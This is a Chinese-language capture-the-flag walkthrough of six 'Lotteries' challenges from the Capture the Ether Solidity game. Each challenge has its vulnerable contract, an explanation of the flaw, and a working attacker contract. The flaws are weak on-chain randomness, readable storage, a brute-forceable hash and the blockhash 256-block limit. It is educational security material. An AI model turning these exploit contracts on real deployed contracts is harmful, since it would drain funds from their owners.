Guess the number
分析
源码:
pragma solidity ^0.4.21;
contract GuessTheNumberChallenge {
uint8 answer = 42;
function GuessTheNumberChallenge() public payable {
require(msg.value == 0.001 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function guess(uint8 n) public payable {
require(msg.value == 0.001 ether);
if (n == answer) {
msg.sender.transfer(0.002 ether);
}
}
}
这个题要求我们调用isComplete函数,由于ropsten测试链已经关闭,我们自己进行部署和攻击就可以了。 这关要求我们猜中他的answer,但他的代码中直接就给出来了,我们直接将42放入函数进行调用就可以了,我甚至有些不敢写。
攻击
部署: 攻击:
成功:
Guess the secret number
分析
源码:
pragma solidity ^0.4.21;
contract GuessTheSecretNumberChallenge {
bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;
function GuessTheSecretNumberChallenge() public payable {
require(msg.value == 0.001 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function guess(uint8 n) public payable {
require(msg.value == 0.001 ether);
if (keccak256(n) == answerHash) {
msg.sender.transfer(0.002 ether);
}
}
}
这关要求我们猜中answer,但他对answer进行了哈希,要我们传入一个unit8哈希后与answer进行比较,由于他传的是uint8,最高都只能到255,我们直接进行攻击合约暴力破解即可。
攻击
攻击合约:
contract attack{
bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;
function guessHash()public returns(uint8){
for (uint8 i =0;i<255;i++){
if (keccak256(i)==answerHash){
return i;
}
}
}
}
部署两个合约并调用攻击合约guessHash函数,得到对应的Uint8值 将值传入guess,传入ether进行调用 成功后调用isComplete即完成攻击
Guess the random number
分析
源码:
pragma solidity ^0.4.21;
contract GuessTheRandomNumberChallenge {
uint8 answer;
function GuessTheRandomNumberChallenge() public payable {
require(msg.value == 0.001 ether);
answer = uint8(keccak256(block.blockhash(block.number - 1), now));
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function guess(uint8 n) public payable {
require(msg.value == 0.001 ether);
if (n == answer) {
msg.sender.transfer(0.002 ether);
}
}
}
这关他的answer是随机生成的,根据创建时候的区块数量进行生成,并且由于没有进行修饰符修饰,默认为internal变量,所以我们无法直接看到,但任何数据在区块链上都是无法隐藏的,我们通过web3库就能直接拿到该值
攻击
部署合约 将合约地址放入web3.eth.getStorageAt中,由于answer存放在slot(0)中,所以输0
查出他的answer为7,直接调用guess函数即可 完成攻击
Guess the new number
分析
源码:
pragma solidity ^0.4.21;
contract GuessTheNewNumberChallenge {
function GuessTheNewNumberChallenge() public payable {
require(msg.value == 0.001 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function guess(uint8 n) public payable {
require(msg.value == 0.001 ether);
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
if (n == answer) {
msg.sender.transfer(0.002 ether);
}
}
}
这题同样要求我们猜answer,但他的answer是在每次Guess的时候生成的,无法通过web3进行查询,但我们明白一件事,合约之间的调用是在同一个区块当中的,也就是说,如果我们通过攻击合约进行调用guess,那么我们攻击合约生成的answer与guess生成的answer是相同的。
攻击
攻击合约:
contract attack{
GuessTheNewNumberChallenge guesst;
function attack(address _addr)public{
guesst = GuessTheNewNumberChallenge(_addr);
}
function att()public payable{
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
guesst.guess.value(0.001 ether)(answer);
}
function()external payable{
}
}
部署两个合约并调用att函数攻击 即可发现已经把余额发送过来了,点击isComplete完成攻击
Predict the future
分析
源码:
pragma solidity ^0.4.21;
contract PredictTheFutureChallenge {
address guesser;
uint8 guess;
uint256 settlementBlockNumber;
function PredictTheFutureChallenge() public payable {
require(msg.value == 0.001 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function lockInGuess(uint8 n) public payable {
require(guesser == 0);
require(msg.value == 0.001 ether);
guesser = msg.sender;
guess = n;
settlementBlockNumber = block.number + 1;
}
function settle() public {
require(msg.sender == guesser);
require(block.number > settlementBlockNumber);
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;
guesser = 0;
if (guess == answer) {
msg.sender.transfer(0.002 ether);
}
}
}
这关相当于要求我们提前知道未被打包的区块链内容,这看起来好像是不可能的,实际上也是不可能的 但我们能够注意到,他的answer是mod10之后的值,所以answer可能的值只有0-9,我们通过攻击合约进行爆破即可。
攻击
攻击合约:
contract attack{
PredictTheFutureChallenge pre;
uint8 public answer=5;
function attack(address _addr)public{
pre = PredictTheFutureChallenge(_addr);
}
function lock()public payable{
pre.lockInGuess.value(0.001 ether)(answer);
}
function att()public{
uint8 temp = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;
if(temp == answer){
pre.settle();
}
}
function()external payable{
}
}
部署两个合约,首先调用攻击合约的lock函数,设定我们的answer(我这里设定的answer为5,也可以为0-9的其他数字) 然后不停调用att合约,直到目标合约的余额变为0 经过多次调用之后,余额给我们转回来了(记得调用调gas,否则好不容易成功的还会因为gas失败)
Pridict the block hash
分析
源码:
contract PredictTheBlockHashChallenge {
address guesser;
bytes32 guess;
uint256 settlementBlockNumber;
function PredictTheBlockHashChallenge() public payable {
require(msg.value == 0.001 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function lockInGuess(bytes32 hash) public payable {
require(guesser == 0);
require(msg.value == 0.001 ether);
guesser = msg.sender;
guess = hash;
settlementBlockNumber = block.number + 1;
}
function settle() public {
require(msg.sender == guesser);
require(block.number > settlementBlockNumber);
bytes32 answer = block.blockhash(settlementBlockNumber);
guesser = 0;
if (guess == answer) {
msg.sender.transfer(0.002 ether);
}
}
}
这个题需要我们提前知道后一个区块的区块哈希,很明显这很难,甚至是不可能的,但block.blockhash有一个特点,他只能得到256个区块内的哈希值,一旦超过256的区块,就无法返回对应的区块哈希,只会返回零,我们根据这个来进行攻击即可。
攻击
攻击合约:
contract attack{
PredictTheBlockHashChallenge pre;
uint256 public blocknumber;
bytes32 answer;
function attack(address _addr)public{
pre = PredictTheBlockHashChallenge(_addr);
}
function lock()public payable{
blocknumber = block.number+1;
pre.lockInGuess.value(0.001 ether)(answer);
}
function att()public{
require(block.number-256>blocknumber);
pre.settle();
}
function ()external payable{
}
}
部署两个合约,并调用攻击合约的lock函数,随后等到能够调用att函数,再调用att函数。 调用att,攻击完成 Lotteries结束了,后面会更其他几个系列。
|